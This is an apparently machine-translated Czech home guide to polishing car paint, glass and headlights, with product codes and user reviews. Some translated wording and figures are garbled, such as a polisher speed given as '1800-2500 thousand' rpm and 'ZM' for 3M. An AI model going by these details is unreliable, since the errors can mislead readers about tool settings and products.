Jaký hadřík vyleštit auto. K dispozici o DIY leštění aut

Proč leštit auto? Vrstva vosku činí každé, i ne příliš drahé, auto reprezentativnějším a atraktivnějším. Transparentní fólie chrání Železný kůň před nečistotami a škrábanci, zamezuje vzniku koroze a zvyšuje životnost vozidlo. Ale leštění auta v autoservisu - drahé potěšení, Proto zkušení řidiči raději se starat o auto doma.

Příprava

Postup se provádí v garáži. Pokud není možné auto schovat v interiéru, pak zvolte den, kdy neprší a silný vítr jinak se prach smísí s leštěnkou a zanechá na povrchu drobné škrábance.

Auto je umístěno ve stínu. Tělo je horké kvůli slunci a barvy a laky přehřívají, špatně sedí a uvolňují toxické látky. Auto se neleští v pozdním podzimu a zimě, kdy teploty klesnou pod +6 stupňů.

Před zákrokem se doporučuje navštívit mycí linku nebo samostatně vyčistit vozidlo od nečistot, kousků dehtu a prachu. zblízka hluboké škrábance. drobné poškození můžete ho nechat, ale pak místo průhledného použijte barevný lak.

Po umytí vůz opatrně otřete měkkým čistým hadříkem. V místnosti, kde bude leštění probíhat, je zajištěn generální úklid. Zametání podlah, vytírání regálů a vynášení veškerého odpadu. Když je auto suché a garáž dokonale čistá, pokračujte do druhé fáze.

Nástroje a materiály

Jaký leštidlo zvolit pro domácí použití? Voskové odrůdy maskují třísky a vyplňují praskliny, ale přitahují nečistoty. Vozidlo potažené rostlinným nebo živočišným produktem ztratí svůj lesk po 1-3 umytích.

Syntetické možnosti jsou odolnější, odpuzují nečistoty a kapky vody. Lak na silikonové bázi vydrží 2-3 měsíce. Doma používejte prostředky ochranný typ neobsahující žádné abrazivní částice.

Zakryjte tělo a tekuté sklo. Nástroj bude stát více než voskový lak, ale účinek použití takové kompozice je delší. Tekuté sklo škrábance nezamaskuje, ale pouze vytvoří ochranný film a na slunci se krásně leskne.

Leštidlo je dodáváno s měkkou houbičkou. Poslouží utěrky z mikrovlákna nebo dětské plenky. Při výběru hadru na leštění těla se řídí třemi kritérii:

• Materiál dobře absorbuje vlhkost.
• Na ubrousku nebo ručníku nejsou žádné nečistoty, skvrny od barvy ani pelety.
• Hadřík není příliš tvrdý a nepouští vlákna.

Hrubé hadry zanechávají na povrchu karoserie drobné škrábance, přispívají k loupání laku a rzi.

Ruční leštění trvá od 5 do 15 hodin. Proces urychlí speciální stroj. Technika je vybavena měkkými disky vyrobenými z bavlněné tkaniny nebo plsti. Rovnoměrně distribuují silikonové a voskové produkty po povrchu karoserie, usnadňují práci a zkracují dobu leštění 3–4krát.

Vlastníci zvláštní vybavení používejte husté přípravky, které vydrží déle tekutý vosk. Pomocí stroje auto nejen vyleští, ale odstraní i starou vrstvu laku, do které se zažraly nečistoty, odstraní drobné i hrubé závady a ochrání železného koně před korozí.

Standardní postup

Pokud neexistuje žádné speciální vybavení, budete muset pracovat rukama. Plastové a pryžové díly, stejně jako okna, se doporučuje utěsnit lepicí páskou. Leštidlo se obtížně čistí bez poškození skla.

Důležité: Dveře a okna v garáži jsou otevřeny a na obličej je umístěn respirátor nebo gázový obvaz. Leštidla vylučují chemické výpary, které v malých dávkách nepoškozují tělo. Ale budete muset pracovat s vlaky po dobu 5-10 hodin, a pokud zanedbáte bezpečnostní pravidla, můžete se otrávit.

Stroj je leštěn ve dvou fázích:

1. Na čistý povrch se nanáší vosk nebo silikon. Zachyťte pozemek o rozměrech 50x50 cm, ne více.
2. Počkejte 1-2 minuty, než lak zaschne, a poté jej přebruste.

Začněte od horní části vozu a postupně snižujte. Mezi čtverci by neměly být žádné ostré přechody nebo neopracované plochy. Nevyvíjejte na hadřík příliš velký tlak.

Co se stane, když navoskujete celé auto? Kompozice rychle zaschne a budete muset jít do autoservisu, aby profesionálové mohli odstranit lesk spolu s barvou a poté nanést novou vrstvu. Postup je dlouhý a nákladný, takže experimentování s autem se nedoporučuje.

Pokud se leštidlo dostane na sklo nebo zrcadlo, díl se ihned otře suchým hadříkem, jinak vzniknou skvrny, kterých se těžko zbavíte. Leštící ubrousky se pravidelně mění, protože na nich ulpívají částečky laku, které zanechávají na karoserii znatelné škrábance.

Silikon a voskové formulace aplikovaný v malých dávkách. Silná vrstva drogy je obtížné rovnoměrně rozložit po autě.

Upgrade stroje

Zažraly se nečistoty do laku a nejsou smyté? Jsou na karoserii nebo dveřích hluboké škrábance? Auto bylo nedávno nalakováno a je čas vyleštit železného koně? Jednoduché kompozice nestačí. Budete potřebovat přípravky s abrazivními částicemi, které odstraní vrchní vrstvu barvy, a lešticí stroj nebo vrtačka se speciálními tryskami.

V obchodě si vyžádejte „číslovaný“ lak. Profesionálové používají přípravky č. 1, 2 a 3. Je vhodné zakoupit trysky na lešticí stroj nebo vrtačky. Dále si kupte voděodolný brusný papír. Vyberte jemnozrnnou variantu, například č. 2000.

Plastové části vozu jsou utěsněny maskovací páskou. Používejte respirátor, ochranný oblek nebo staré oblečení a gumové rukavice. Otevřete okna v garáži a začněte leštit:

1. Odmastěte povrch vozu speciálními ubrousky. Nedotýkejte se stroje rukama, jinak zůstanou mastné stopy, na které výrobek špatně sedí.
2. Navlhčete brusný papír vodou a obruste karoserii, střechu a dveře. Aby nedošlo k záměně, jsou ošetřená místa označena proužky lepicí pásky. Brusný papír se pohybuje shora dolů. Nevyvíjejte příliš velký tlak, aby nedošlo k poškození laku. Pravidelně zvlhčujte pokožku vodou.
3. Aplikujte na malou plochu leštící prostředekč. 1 s abrazivními částicemi. Potřete přípravek lešticí stroj. Používejte látkové nebo kožené disky. Držte stroj v pravém úhlu, aby nedošlo k poškrábání vozu. Během leštění navlhčete povrch vodou.
4. První, hrubé, zpracování je navrženo tak, aby maskovalo škrábance. Po broušení se vůz umyje, poté se použije leštěnka č.2. Nástroj opraví výsledek.
5. Auto se umyje podruhé, poté se nanese leštěnka č. 3, bez abrazivních částic, popř tekuté sklo. Droga odpuzuje nečistoty a vodu, je zodpovědná za lesk auta.

V těžko dostupná místa a vedle ostré rohy Doporučuje se stroj vypnout a leštidlo nanést ručně. Efekt vydrží 3-4 měsíce, poté nátěr zmatní a je nutné jej obnovit. Doporučuje se aplikovat přírodní voskové produkty. Jsou měkčí než syntetické možnosti a levnější.

Leštění auta není těžké, ale trvá to dlouho. Výsledek závisí na zručnosti motoristy a kvalitě materiálů, které byly při práci použity. Proto se doporučuje železného koně na leštění pečlivě připravit, nešetřit na přípravách a dělat vše s láskou.

Video: jak rychle a snadno vyleštit auto

Auto můžete doma leštit dvěma způsoby, z nichž každý se provádí jiným nástrojem / improvizovanými prostředky.

Jak leštit auto abrazivní metodou?

Pomocí nástroje, který umožňuje nastavení rychlosti, se provádí hrubé leštění - obnova laku, s výhradou přítomnosti hlubokých škrábanců, drsnosti atd. Frekvence - ne více než 1krát za rok. Tovární lak nanesený přes barvu je schopen odolat 10 hrubým úpravám. Následné - poškození lakování což má za následek korozi. Jak správně leštit auto vlastníma rukama, můžete zjistit zhlédnutím několika videí v síti, ale to nezaručí dokonalý výsledek. výsledek - lepší leštění svěřte karoserii odborníkům http://lrsauto.ru/polirovka.

Co bude potřeba?

• elektrický nebo pneumatický leštící stroj;
• tryska se suchým zipem příslušného průměru pro kruhy (kotouče); Obvykle se upevňuje klíčem 14.
• dva typy pěnových kotoučů; Zpravidla jeden na brusnou pastu a druhý na lesk.
• brusné pasty 3M 09375 a 3M 09377;
• ochranná pasta;

Stačí si koupit levnou voskovou pastu. U obyčejných lidí - "želva". Na základě zkušeností a publikovaného praktického vývoje lakýrníků a kulturistů, nejlepší materiál na domácí trh je produktem 3M. Ideální pro nezávislé použití s ​​ponecháním volby mezi nástrojem.

Jak vyleštit auto abrazivem?

Vozidlo je nutné nejprve umýt a odmastit. Ošetřete místo vodou. Samotná pasta se nanese na pěnový disk (funguje jako zvlhčovač pro ten druhý) a teprve poté, krouživým pohybem(stroj je vypnutý) se natře na plochu 60 × 60 cm Ihned poté, co se pasta rovnoměrně rozdělí mezi leštící pad 3M 09550 Perfect-it nebo vlněnou variantu poslední 01927, trny 09552/3, je třeba zapněte stroj a pusťte se do práce. Optimální rychlost rotace - od 1 500 do 2 500 ot./min. Musíte začít s malými - 200-400 ot / min, postupně zvyšovat jejich počet.

Poznámka! Nezapomeňte vzít v úvahu poměr rychlosti otáčení leštícího kotouče ke stavu toku laku, protože lak je vystaven značnému teplu.

Síla dopadu na ruční nářadí a v souladu s tím by měly být také distribuovány prvky karoserie. Rovné povrchy se leští středním nebo lehkým tlakem. V místech zatáček, ostrých přechodů geometrie těla byste měli být trochu pilnější. Fyzikální stav pasty také reguluje intenzitu expozice. Jak zasychá, je třeba úsilí mírnit. Protože je pasta hrubozrnná, existuje velmi vysoká šance na drobné kruhové škrábance, zejména na černém laku. Ty lze odstranit změnou zmíněného brusiva za 3M 09376 Perfect-III a leštícího kotouče 09378 stejného systému.

Výhodou takového leštění je nejen možnost obnovení původního vzhledu vozidla, ale také provedení úprav nepovedeného lakování, kterému předcházel oprava karoserie – efektivní odstranění Abrazivní metoda je ideální pro domácí leštění, protože je plně navržena k odstranění škrábanců a škrábanců, které se mohly objevit po broušení

• kotouče 3M 260L (zrnitost P1200, P1500);
• Vodní brusný papír 3M Perfectit Magic (P1500 a P2000).

Jak vyleštit auto ochrannou metodou?

Může být ztělesněn dostupnými improvizovanými prostředky, například hadry nebo speciálními ubrousky. Vyskytuje se, pokud je tovární nebo opravárenský lak v dobrém stavu - nejsou žádné praskliny a hluboké škrábance. V opačném případě se uvedené stanou příliš nápadnými na obecném pozadí výsledného lesku.

Před spuštěním je třeba navlhčit hadr nebo ubrousek a teprve poté nanést pastu 3M 09377. Začnou pracovat s velkými prvky karoserie: kapotou, střechou, kufrem a teprve poté dveřmi. Takže například kapota, stejně jako střecha, je nejlépe rozdělena na 4 stejné části. Úspora času, stejně jako výhradně zónové zpracování, pomůže vyhnout se výskytu defektů, v důsledku toho - použití mechanického nástroje a nákup odpovídající pěnové podložky 05729.

Poznámka! Bez ohledu na použitou metodu se úplný konečný výsledek dostaví až po umytí. Jemnou pastou můžete odstranit mělké škrábance z větví nebo mírnou oxidací. Všechny akce jsou omezeny na kruhové pohyby bez ohledu na geometrii tělesný prvek. Aplikace ochranné vrstvy z praktického hlediska ochrání lesklý nátěr před drobnými mechanickému poškození a spálení sluncem. Dobře se osvědčily gely s aerosolovými formulacemi nebo přídavkem silikonu, tekutého skla.

Jak leštit auto vlastníma rukama po opravě karoserie?

Pokud mluvíme o zonální obnově: rovnání, základní nátěr, tmelení a lakování s přechodem na tovární barvy a laky, musí být leštění provedeno s přechodem. Je nutné operovat nejen s potahem určité gradace (například P2 000), ale také se speciální lištou, která zajistí potřebnou přítlak v místech, kde byl lak nastříkán na třetinu továrního laku / barvy. Obyčejná guma, ale vhodné velikosti, se může stát výnosnou a pohodlnou náhradou za lištu. Můžete si ho koupit v kanceláři. Díky této náhradě je možné současně obrábět několik sousedních ploch, například na křídlech nebo obloucích.

Shoda se směrem se zobrazí na konečném výsledku. Horizontální ve vztahu ke zpracovávané rovině je považována za optimální.

Je důležité vědět! Pokožku je nutné po celou dobu práce důkladně omýt. Předejdete tak poškození a oděru. Nejběžnější je leštění mikrovláknem. Není na něm žádná hromada a struktura je co nejjednotnější. Na rozdíl od ubrousků se počítá s možností opětovného použití po vyprání.

Jak správně vyleštit auto?

Nejlepší je držet se systému např. stejné značky 3M. Na jakoukoli standardní systém zahrnuje:

• dvě leštidla;
• disky a hadry;
• držáky pro výše uvedené.

Výhoda systému spočívá v rovině maximální kombinace brusných částic, respektive míře jejich následného překrytí a tak dále až do dosažení lesku. Odpovědí na otázku, jak vyleštit auto doma, jsou tedy hotové sady, které jsou promyšleným souborem praktických opatření, která zohledňují i ​​barvu.

Průměrná doba strávená na všech vozidlech je od 6 do 8 hodin v závislosti na dostupnosti automobilu. Ruční leštění hadrem zabere dvakrát nebo dokonce třikrát více času. Ten je použitelný pro ty vozy, které neopouštějí městské silnice, nemají hluboké poškození laku. V každém případě mezi ochrannými procedurami je nutné vydržet dva nebo dokonce tři měsíce.

K čemu slouží leštění aut? V první řadě je potřeba, aby si auto co nejdéle zachovalo původní stav. vzhled. Leštící vrstva navíc chrání povrch stroje před škodlivými účinky vlhkosti. Proto je leštění nesmírně důležité pro každé auto! V tomto článku vám řekneme, co je leštění, jak často je třeba ho provádět a jak si auto vyleštit sami. Leštění aut svépomocí vám pomůže hodně ušetřit na péči o auto a navíc vám zaručí vynikající výsledek.

leštění aut

Leštění automobilů lze použít pro různé účely, v závislosti na tom, které se dělí na 2 typy:

1. ochranné leštění karoserie, skel a světlometů - musí se provádět 2x ročně (před Zimní období a s nástupem jara). Úkolem tohoto typu leštění je chránit lak vozu před agresivním vnějším prostředím (sníh, déšť, vítr, kousky asfaltu, asfalt, hmyz atd., které se dostanou na povrch vozu). Podstatou postupu je, že celý povrch stroje je ošetřen neabrazivními látkami, které se „vsáknou“ do stávající vrstvy laku a barvy;
2. abrazivní leštění karoserie, oken a světlometů vozu - provádí se pouze v případě vážných závad v lakování vozu ( hluboké trhlinyškrábance, které se zachytí, když po nich přejedete nehtem, malé čipy a jiné vady). Úkolem tohoto typu leštění je obnovit vzhled vozu. Její podstata spočívá v tom, že pomocí vysoce abrazivních materiálů (past, kapalin, aerosolů, brusného papíru a speciálních brusných kotoučů) se poškozená povrchová vrstva „očistí“ a na její místo se nanese nová vrstva leštidla, která obnovuje povrch.

Za zmínku také stojí, že všechny látky pro leštění automobilů se liší formou uvolňování a složením. V závislosti na formě uvolnění jsou ve formě:

• husté pasty - nejúčinnější v práci,
• kapaliny - méně účinné než husté pasty a také nepohodlné pro práci s vertikálními povrchy,
• aerosoly - nejméně účinná, ale zároveň nejlevnější verze redukčních činidel, která má pouze kosmetický účinek.

Pokud jde o složení veškeré „autochemie“, vyrábí se buď na bázi vosku (živočišného nebo rostlinného původu), nebo na bázi polymeru. Současně jsou výhodnější polymerní výrobky, protože ačkoli nejsou levné, jsou odolnější a vysoce kvalitní. Nejspolehlivějšími výrobci "autochemie" jsou ZM, R-M, Meguiars, SIA, Sonax, Wurth.

Leštění karoserie svépomocí

Nyní je čas mluvit o tom, jak leštit karoserii vlastníma rukama. Okamžitě proveďte rezervaci: tento proces je časově náročný, vyžaduje péči a trpělivost. V první řadě se ujistěte, že leštíte ve správných podmínkách – ideálně, pokud se jedná o garáž nebo jinou místnost, která vylučuje dopad slunečních paprsků na povrch vozu. Vyberte si den, který není příliš horký, protože teplo rychle odpaří éter a rozpouštědlo z leštěnky, v důsledku čehož rychle schne a ztěžuje práci. Ujistěte se, že místnost je velmi čistá - jakýkoli vniknutí písku nebo prachu během procesu leštění si z vás udělá krutý vtip.

Celý proces leštění lze podmíněně rozdělit na etapy.

Etapa číslo 1 - přípravná. Nejprve je třeba auto umýt a vysušit, odstranit bitumen, zbytky hmyzu a rostlin pomocí speciálních čisticích prostředků.

Fáze číslo 2 - odmaštění povrchu. To je nutné k zajištění lepší úchop leštidla a laky. K tomu je třeba povrch odmastit po částech pomocí speciálních hloubkových čisticích prostředků a měkkých flanelových hadrů.

Fáze číslo 3 - vlastní leštění. Dá se také rozdělit do 2 etap v závislosti na složitosti poškození. Pokud je povrch silně poškozen, bude nutné jej nejprve ošetřit hustým prostředkem s nízkou abrazivitou (600 nebo 1000). Pokud leštíte auto ručně, protřepejte tubu s přípravkem a naneste hmotu přímo z lahvičky na plochu 50x50 cm, nechte 2 minuty zaschnout a setřete přípravek z povrchu speciálním leštící ubrousky krouživými pohyby. Čas a námahu může ušetřit speciální stroj na leštění vozu s 1500-4000 ot./min., což je ruční vrtačka s brusným kotoučem, na kterém jsou speciální brusné plochy upevněny suchým zipem.

Když je broušení brusivem hotové, přichází na řadu neabrazivní přípravky, které se nanášejí a leští podobně jako brusné, ale při nižších otáčkách (1000-1500 ot./min.). Je skvělé, pokud je konečnou fází práce aplikace ochranné leštičky rychlostí 3000-4000 ot./min. Zafixuje hlavní lesk a prodlouží jeho životnost.

Nyní zbývá pouze zkontrolovat kvalitu práce: nalijte vodu na auto. Pokud se shromažďuje na povrchu ve velkých kapkách a nestéká jen tak dolů, je vše v pořádku! Po naleštění nechte auto 24 hodin „odpočívat“ a můžete vyrazit!

Leštění autoskel

Druhým nejdůležitějším postupem je leštění autoskel. Samozřejmě, když se okna zakalí, takže je špatně vidět na cestu, je nejjednodušší koupit a vložit nová, ale je to drahé. Ekonomičtější je leštění autoskla od škrábanců. V této podsekci vám řekneme, jak vyleštit auto s drobným poškozením.

Nejprve umyjeme auto, hlavně sklo. Všechna poškození pak zevnitř zakroužkujeme fixem, abychom je v práci neztratili z dohledu. Nyní uzavřeme auto fólií a prořízneme ji na místech, se kterými budeme pracovat. Fólii fixujeme maskovací páskou, abychom chránili povrchy před potřísněním a leštěním.

Nyní začneme přímou práci s brýlemi. Místa poškození se myjí speciálními čističi na sklo. Zatímco sklo suší, připravte leštící směs zředěním leštícího prášku vodou. Ve výsledku získáme krémovou hmotu. Potřebujeme také stříkací pistoli s čistá voda. Leštidlo naneseme na plstěný kotouč na vrtačce a otřeme o sklo. Poté připojíme leštičku a pomalu zpracováváme povrchy rychlostí 1500-1700 ot./min., přičemž sklo periodicky stříkáme vodou z rozprašovače. Na konci leštění otřete sklo papírovými ubrousky a zkontrolujte, zda nesvítí.

Leštění světlometů svépomocí

Svépomocné leštění světlometů, stejně jako leštění skla, pomůže vyřešit problém zlepšení viditelnosti na silnici. Pokud zjistíte, že světlomety hůře osvětlují vozovku, s výměnou žárovek nespěchejte. Možná, jednoduché leštění domácí kutilské světlomety problém vyřeší. V jádru je leštění světlometů podobné leštění skla. Odnést drobné škrábance a praskliny na světlometech, je nutné odstranit povrchovou ochrannou vrstvu plastu a tyto defekty vyplnit speciálními leštícími prostředky. Samozřejmě, že po vyleštění musíte světlomety zakrýt průhledným akrylátem, který bude plnit ochrannou funkci skla světlometu.

S leštěním světlometu začneme chránit karoserii fólií a krycí páskou. Poté světlomety vyčistíme pomocí speciální prostředky nebo roztokem octa a poté je otřete do sucha hadříkem. Pokud světlomet vyžaduje vyleštění zevnitř, pak jej z vozu vyjmeme. Ve všech ostatních případech leštíme na místě.

Podobně jako u leštění karoserie a skla povrchy nejprve ošetříme brusivy o zrnitosti 1000 nebo 1500 pomocí leštícího stroje a plstěných kotoučů.

Poté na světlomety střídavě aplikujeme přípravky s abrazivitou 2000 a 2500. Je to nutné pro odstranění následků předchozího přípravku. Pravidelně během procesu zpracování nalévejte na světlomet vodu, abyste smyli částice plastu a brusiva. Výsledkem práce získáme matný povrch, na který naneseme leštící pasty na auta různé abrazivity. Po těchto prostředcích aplikujeme leštičku na povrch světlometu a brousíme ho při 1200-1500 ot./min pomocí leštícího stroje. Na závěr zbytky leštiček přetřeme speciálními sametovými nebo mikrovláknovými utěrkami a obdivujeme výsledky práce!

Leštění aut plní minimálně dvě funkce – estetickou a ochrannou. V prvním případě se odstraní škrábance na těle, nevyhnutelné během provozu, a vrátí se lesklý lesk. Ve druhém získá lak vozu ochranu před agresivními látkami životní prostředí. Tento postup není snadný, takže dobrý výsledek budete potřebovat teoretický základ a pracovní algoritmus. Pouze výběrem správného laku na auto a dodržováním pravidel leštění vlastníma rukama můžete dosáhnout výsledků a nepoškodit lak vozu.

Kdy je potřeba leštit karoserii a jaké jsou typy

Nejprve musíte určit stav laku, na tom závisí výběr materiálů a typ leštění. V některých pokročilých případech leštění nepomůže. Pokud jsou škrábance hluboké a dosáhly až k základnímu laku nebo kovu, pak je čas se zajímat o téma lakování auta. Při mělkém poškození nebo zakalení laku karoserie (matnání, oděr, zbytky laku či plastu po lehké nehodě) můžeme s klidem doporučit auto vyleštit mechanicky.

• Mechanické (je také obnovovací) leštění zahrnuje odstranění vrchní vrstvy laku. Bez určité zručnosti hrozí odstranění veškerého ochranného laku nebo dokonce poškození laku (zejména při použití elektrického nářadí). Neměli byste hned běžet pro brusku a leštit celé auto za chodu. Začněte na nenápadné malé ploše ručně nebo pomocí elektrického nářadí, ale při minimální rychlosti. Ještě předtím si ale vyberte ten správný lesk, připravte si nástroj a dobře se naučte sled úkonů.
• Ochranné leštění – šetrnější k krytině. Neodstraňuje vrstvu, ale vyplňuje praskliny a „škrábance“. 80 % složení takových leštidel tvoří vosk a 20 % chemie. Společně odpuzují vodu a špínu a dovnitř zimní období také chránit před činidly. Nanáší se rychle a snadno, ale nevydrží dlouho (5-7 umytí). Existují odolnější odrůdy, ale o nich níže. Mechanické leštění bez ochrany rychle ztrácí své vlastnosti.

"Hologramy" na karoserii auta po ne profesionální leštění

Co potřebujete, abyste to udělali sami

Pro restaurátorské leštění potřebujeme:

• Autošampon;
• rozpouštědlo č. 646 nebo minerální jíl;
• Sander.
  Ideální varianta je s orbitální hlavicí, ale ta obvyklá také značně usnadní práci. Můžete pracovat ručně, ale doba provádění se několikrát prodlouží a kvalitativní výsledek bude horší, ale riziko poškození povlaku v důsledku nezkušenosti je minimalizováno;
• abrazivní leštěnka požadované zrnitosti;
• dokončovací lesk;
• jeden tvrdý a jeden měkký brusný kotouč;
• jeden měkký semišový hadr (nejlépe pár);
• vodní rozprašovač.

Můžete si také vyrobit vlastní leštící pastu. Je pravda, že k tomu musíte vypálit barvu obsahující chrom, oxidovat dichroman amonný a odpařit kyselina chlorovodíková doma. Proto, pokud jste chemik, tak recept najdete a pokud ne, tak se s ním nemazlete. Na trhu je mnoho možností pro každou peněženku.

Výběr nejlepšího laku: názory, hodnocení a recenze

V současné rozmanitosti zboží je těžké vybrat slušnou variantu za adekvátní cenu. Nekvalitní materiály mohou negovat veškerou vaši práci, takže byste se měli zaměřit na vůdce. Říši leštění vládnou dva: 3M a Farecla.

Každý typ výrobku má svůj vlastní leštící kotouč.

První je „nabroušený“ pro profesionály. Vzhledem k velkému balení (od 1 kg) se zvyšuje i vyvolávací cena (od 1 500 rublů za 1 druh leštidla). "Farekla" v tomto ohledu je cenově dostupnější - balení od 250 gramů za cenu 400 rublů. Kvalitou jsou si rovni. K vyleštění stačí malé balení auto dvakrát. A pokud se domníváte, že se doporučuje zpracovávat auto továrním lakem s brusnou pastou ne více než 5-7krát (to je s profesionálními rukama, ne více než 3-4 pro amatéry), pak bude jeden kilogram zjevně zbytečný.

Existuje opravdu mnoho druhů produktů značky Farecla.

Po posouzení stavu tělesa je nutné se rozhodnout, jakou brusnou frakci zvolit. Existují:

1. Velké - 09374 od 3M nebo G3 od Farecly. Použijte, když velké škrábance a výrazný zákal těla;
2. Malý - 09375 nebo G6. Doporučeno pro světlý mat a malý počet malých škrábanců, odstraňuje menší vrstvu laku;
3. Finish - 3M má kód 09376, Farekl má G10. Dokončovací pasta odstraňuje nedostatky prvních dvou a dodává laku lesklý lesk.

Nyní výrobce "ZM" vydal vylepšenou verzi se zeleným uzávěrem a kódem - 50417. Tento lak je umístěn jako univerzální lak a nahrazuje první dva body.

Pozor: Koch a Menzerna jsou populární i v odborných kruzích. Jsou dražší a hůře se shánějí ve výprodeji, ale kvalita je na vysoké úrovni.

Menzerna je německá profesionální leštička, která si zaslouží nejlepší recenze uživatelů několik let

Bez ochrany lesk dlouho nepotěší, přejděme tedy k výběru dalšího typu laku.

Ochranná vrstva: jak vybrat dobré materiály

Odrůd je ještě více a cenové rozpětí je značné. Pojďme si je rozebrat podle složení:

• vosk - nejběžnější, snadno použitelný a levný typ ochranných leštidel. Téměř každá myčka má službu voskování;
• syntetické, které se dále dělí na tři typy:
  • obnovovací - slabá náhrada brusných leštidel;
  • silikon - rychle se nanáší sprejem, ale rychle se smyje (alternativa vosku);
  • polymerní - plná syntetika, která musí být aplikována opatrně a po dlouhou dobu, ale ochranné vlastnosti vydrží až šest měsíců (výrazné mínus je cena);
• leštidla s nanočásticemi (lidově "tekuté sklo") - progresivní vzhled materiál poskytuje ochranu po dobu 6-8 měsíců. Může být různé formy včetně typu aerosolu. Obtížný proces aplikaci, ale jako odměnu dostanete krásný lesk auta (zejména černý).

Nejoblíbenější společnosti a recenze jejich produktů

V tabulce níže jsou uvedeny nejoblíbenější značky pro výrobu ochranných leštidel.

Hi-Gear "Restorer". Problém byl v tom, že barva karoserie během mnoha let používání dost špatně vyhořela a získala různé skvrny. Začal jsem s kapucí. Stopy komárů a much byly odstraněny docela snadno a téměř bez námahy. U bílých šmouh od posledního laku jsem se musela trochu zapotit, ale výsledek mě potěšil, nebyly 100% zbytkové. Barva ošetřené oblasti byla radikálně odlišná v sytosti a brilanci od neošetřených oblastí. Postupně prošel celý vůz, celkem strávil dvě hodiny. V důsledku toho olej a živičné skvrny kompletně vyjmuto z karoserie, barva vozu se ukázala jako nová. Palivové šmouhy v blízkosti plynové nádrže byly téměř úplně odstraněny. Nanesený lak "Restorer" byl perfektně ručně vypraný, barva zůstala stejná celé léto. Doporučuji všem majitelům starých aut a pro předprodejní příprava, nemůžete lakovat auto s malými vadami laku.

review_2154088.html

polština Želví vosk Plus PTFE - drahé, ale účinné. Pokud se vše dělá s rozumem, tak je lak výborný, dodává lesk a obnovuje barvu, samozřejmě škrábance nezamaskuje, ale v zásadě si poradí s drobnými škrábanci. Cena laku je dobrá, ale na mnohonásobek dostačující, leštil jsem ho třikrát a ještě ho zbylo více než polovina. Vůně je příjemná, i když trochu zakalená. Ráno po dešti se auto okamžitě liší od sousedních, protože všechny kapky drží a „nezasychají“ do těla. Nečistoty se na autě nedrží. Vystačí na dvě nebo tři umytí.

anufriev-pr

http://otzovik.com/review_2540156.html

Samotná leštěnka Sonax s přídavkem barvícího pigmentu. Tedy pod určitým rozsahem barev. V mém případě pod stříbrnou metalízu. Rozlišit rozdíl mezi leštěním „před“ a „po“ je s mojí barvou vizuálně dost obtížné. Ale hmatový pocit je velmi silný. Drsnost povrchu je pryč. Vše je na slunci hladké a lesklé. Drobné praskliny jsou opraveny speciální tužka který je dodáván se sadou. Poté musíte znovu projít samotný lak. Tužka sama o sobě v podstatě ucpe škvíru pod leštěnkou voskem. Docela maličkost hawala s ofinou. Čipy a škrábance se samy o sobě zvětšují k ničemu. No, není to určeno pro ně. Přesto jsem s výsledkem spokojený. Sonax odůvodnil svou cenu.

Bezbožná bezpečnost

https://www.drive2.ru/l/6568971/

Manžel pochyboval o kvalitě autoleštidla Sapfire, protože cena je oproti jiným směšná. Ale přesto jsem se rozhodl zkontrolovat. Výsledek byl výborný. Safírový lak na auto se dobře nanáší, poskytuje spolehlivou ochranu tělo, dodává lesk a vodoodpudivé vlastnosti.

http://otzovik.com/review_268445.html

Koupil jsem si speciální čistič Willson, abych připravil karoserii na leštění "Glass Body Cleaner" a samotný lak tmavá auta vůz "Body Glass Guard". Auto jsem umyl 2x, umyl brzy ráno, dokud nepražilo slunce a auto bylo studené, znovu vše utřel a přetřel a začal nanášet čistič. S umyvadlem mi to trvalo asi 4 hodiny, nebo i víc, nechal jsem se tak unést, že jsem na čas zapomněl. Po celém procesu musí auto stát minimálně 2 hodiny, aby složení ztuhlo, 7 dní ho nemůžete mýt chemií, složení během těchto dnů zcela vykrystalizuje. Co jsem si všimla hned, je lesk, rozdíl je hodně vidět. Celý víkend pršelo - kapky se na autě opravdu nasbíraly do větších a snadno se odkutálely od větru, když jsem jel z dachy na dálnici, auto v mžiku vyschlo, bylo zábavné sledovat, jak, při nabírání rychlosti jedna obří a malé kapky vytvořené na kapotě snadno odletěly pro mě neznámým směrem) Zkrátka vám radím, opravdu to jde!

Grinnolder

https://www.drive2.ru/l/288230376152410795/

Dobří lidé z autobazaru mi poradili, abych si koupil voskový lak od americké firmy Meguiar's. Z internetu mi podle recenzí a fotek došlo, že lepší laky ještě nebyly vynalezeny. Výsledek je zkrátka zřejmý: pavučina už není tak nápadná, barva sytá, lesk zrcadlový, kapky se v dešti odrážejí, tzn. funguje ochrana proti vlhkosti a karoserie je déle čistší. Přední světla můžete i vyleštit, výsledek je výborný. Leštěné vláknem, bez velké námahy. Jak dlouho tento lesk vydrží, se teprve uvidí. S výsledkem jsem spokojen, banka je velká, spotřeba mizivá, cena dobrá. Obecně radím!

stalkerr81

https://www.drive2.ru/l/4169530/

Jakýkoli z předložených materiálů si zasloužil podle účastníků ankety v roce 2015 maximální hodnocení v hodnocení. Předpokládáme, že s materiály pro samoleštící jste se rozhodli. Můžete tedy přejít přímo k samotnému procesu.

Algoritmus krok za krokem: leštění lekcí doma

Mechanické (abrazivní, restaurátorské) leštění je časově nejnáročnější, tak začneme s ním. Provádí se ve fázích:

• Mytí auta (nejlépe autošamponem).
• Dodatečné čištění (spáry).
• Lepení lepicí páskou plastové díly a světla, která jsou v kontaktu s tělem.
• Broušení hrubým brusivem (G3, 09374, 50417 nebo podobný).
• Odstranění zbytkového materiálu a tření těla mikrovláknem.
• Broušení dokončovacím leštěním (G10, 09376 nebo podobný).
• Aplikace ochranné vrstvy (vosk, polymer nebo "tekuté sklo").

1. První stupeň zná každý motorista. Mytí auta není náročné, jen pozor na spáry a prohlubně, neměly by v nich zůstat žádné nečistoty. Pokud se vám pod kotouč brusky dostane nenápadný kamínek, za pár sekund dostanete spoustu škrábanců.
   Bez důkladného čištění půjde veškerá práce do odpadu!
2. Po umytí stojí za to znovu zkontrolovat stav těla. Zbytky dehtu nebo jiné odolné nečistoty by měly být odstraněny ředidlem #646 nebo minerálním jílem. Budete překvapeni, kolik nečistot na umytém autě zůstane. Pokud se najdou další třísky nebo malé, ale hluboké škrábance, je třeba je zabarvit speciální korekční tužkou. Tělo bude také dobré odmastit.
   Jak vypadá minerální jíl

   Vyberte si vybavení podle svých schopností a sebevědomí. Práce s jakoukoliv bruskou vyžaduje přizpůsobení a zvykání si. Musí tam být regulátor rychlosti. Začněte s minimem, poté zvyšte na optimální pracovní (výrobci leštidel na obalech uvádějí pasty, které jsou pro ně doporučené). Obvykle se pohybuje v rozmezí 1800-2500 tisíc otáček.

   
